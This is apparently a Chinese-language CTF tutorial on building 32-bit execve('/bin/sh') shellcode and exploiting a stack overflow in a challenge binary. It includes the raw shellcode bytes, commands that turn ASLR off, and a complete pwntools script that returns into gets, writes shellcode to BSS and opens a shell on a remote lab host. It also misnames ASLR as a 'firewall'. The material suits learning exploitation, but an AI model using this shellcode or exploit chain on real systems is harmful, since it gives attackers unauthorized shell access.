Shellcode
第一次入门pwn时,所给程序中的代码中都包含有system(‘sh’),我们只要使程序能够跑到那个地方,就能很轻松得拿到shell。当然,实际上根本不会有人傻到留着这么明显的漏洞,这时就需要我们自己进行构造,也就是构造shellcode
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限
int 0x80
构造shellcode肯定需要用到汇编代码,也肯定需要用到int 0x80实现系统调用。
一般构造shellcode基于的是11号调用 execve(“/bin/sh”,0,0)
要求:
Reg | Vul |
---|---|
EAX | 11 |
EBX | addr_of_sh |
ECX | 0 |
EDX | 0 |
source
1 | Section .text |
我们想要构造进的字符串为’/bin/sh’,为7个字节,入栈是4个字节4个字节进入的,因此需要再凑一个毫无用处的字符’/‘,这里需要注意的是坏字符,0x00会截断,还有mov al,0xb操作也是为了防止坏字符
机器代码
使用nasm(类似于gcc编译c代码)编译写完的汇编代码,生成一个xxx.o文件
在终端中输入命令1
objdump -d xxx.o>dump
将其反汇编后即可得到机器码
1 | shellcode="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" |
只有21byte,短小精悍
7-11 old-friend
source分析
1 | #include <stdio.h> |
其实和上次(见Pwn(一))其中一题基本一模一样,区别在于gets(buf);和int magic = rand();交换了位置,这样就导致了栈溢出无法覆盖掉magic的值,下面的if()中自带的system(“sh”)也没法得到了,因此需要另想办法。
运用shellcode方法即可实现
简单难度
首先把防火墙关闭,在终端中输入1
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
可将ASLR关闭,ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术。
使用shellcode,首先得将shellcode的机器码写入,这里有个思想,就是数据即是代码。然后通过溢出,改变ret到的地址,返回到shellcode的首地址即可执行我们所构造的代码。
流程如下:
写数据->修改返回值->执行数据(代码)
payload=”shellcode机器码”.ljust(offect,”a”)+p32(shellcode的首地址)
找偏移量
既然是要覆盖ret,首先得找到偏移量offect
很轻松,步骤与Pwn(一)中一样,通过patto+挂掉的地址,求出偏移量 116
找shellcode首地址
找shellcode首地址是非常关键的一步,我们先构造一个伪payload
1 | from pwn import * |
在机器码之前写一个标记p32(0xdeadbeef),0xdeadbeef没有什么特定的意义,换成其他的也行,但最好是八位
然后raw_input()相当于一个断点,先运行这个py脚本,在进入断点后,会出现一个PID
PID就是各进程的身份标识,程序一运行系统就会自动分配给进程一个独一无二的PID。进程中止后PID被系统回收,可能会被继续分配给新运行的程序。
PID一列代表了各进程的进程ID,也就是说,PID就是各程的身份标识。
另建一终端,打开gdb,直接attach pid的值,即可进入调试,然后随意在py那个终端中输入一个值使其继续运行。回到gdb终端,使用finish跳过繁杂无用的函数,经过脚本的输入后,使用searchmem 0xdeadbeef命令在内存区中找0xdeadbeef,其地址就是我们所需的shellcode首地址
修改py脚本,payload正确
1 | from pwn import * |
shellcode使用成功
中等难度,打开防火墙
终端输入1
sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
前文提到,ALSR防护使栈中的地址每次都是不一样的,我们不能直接使用返回首地址法来使程序执行我们所构造的shellcode
但通过了解ALSR特性可知,调用的函数地址与BSS段是不会被修改的
BSS段
可执行程序包括BSS段、数据段、代码段(也称文本段)。
BSS(Block Started by Symbol)通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。
其特点是:
- 可读写的
- 在程序执行之前BSS段会自动清0。
所以,未初始的全局变量在程序执行之前已经成0了。
数据段包括初始化的数据和未初始化的数据(BSS)两部分 。BSS段存放的是未初始化的全局变量和静态变量。
原理
通过BSS段和函数地址不变的特点,可以构造payload1
payload="a"*offect+p32(输入函数地址)+p32(bss段首地址)+p32(bss段首地址)
首先输入实现栈溢出攻击,修改ret返回到输入函数gets处即可再进行一次输入.
我们知道一个函数在调用之前会先push进函数的参数与其返回地址因此第一个bss首地址代表的是gets函数的参数,第二个为其返回值。在第二次输入的时候,我们只要输入shellcode机器码即可完成攻击
总结: 原理与不开防火墙是相通的,就是写数据->修改返回值->执行数据(代码),但防火墙将栈中地址随机化导致我们不能直接去修改返回值,而是需要利用BSS段地址不会被修改的特性去进行绕过
实现
知道原理后实现起来是非常方便的
打开gdb调试程序,输入命令vmmap即可找到bss段的地址
gets函数的地址不能直接在gdb中找,不然会出错。因为涉及到有关动态编译的知识,这里就不多赘述
payload代码1
2
3
4
5
6
7
8
9from pwn import *
shellcode="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload="a"*116+p32(0x8048400)+p32(0x0804a100)+p32(0x0804a100)
p=remote('10.21.13.88',1025)
p.sendline(payload)
#gdb.attach(p,'''
#''')
p.sendline(shellcode)
p.interactive();
p=process()是在本地执行
p=remote()即可远程实现运行该代码
因为有两次的输入,所以有两个p.sendline
1 | #gdb.attach(p,''' |
调试代码,可以直接实现python运行后的gdb调试。最终结果肯定是不会用到的,我在此用注释符将其注释掉了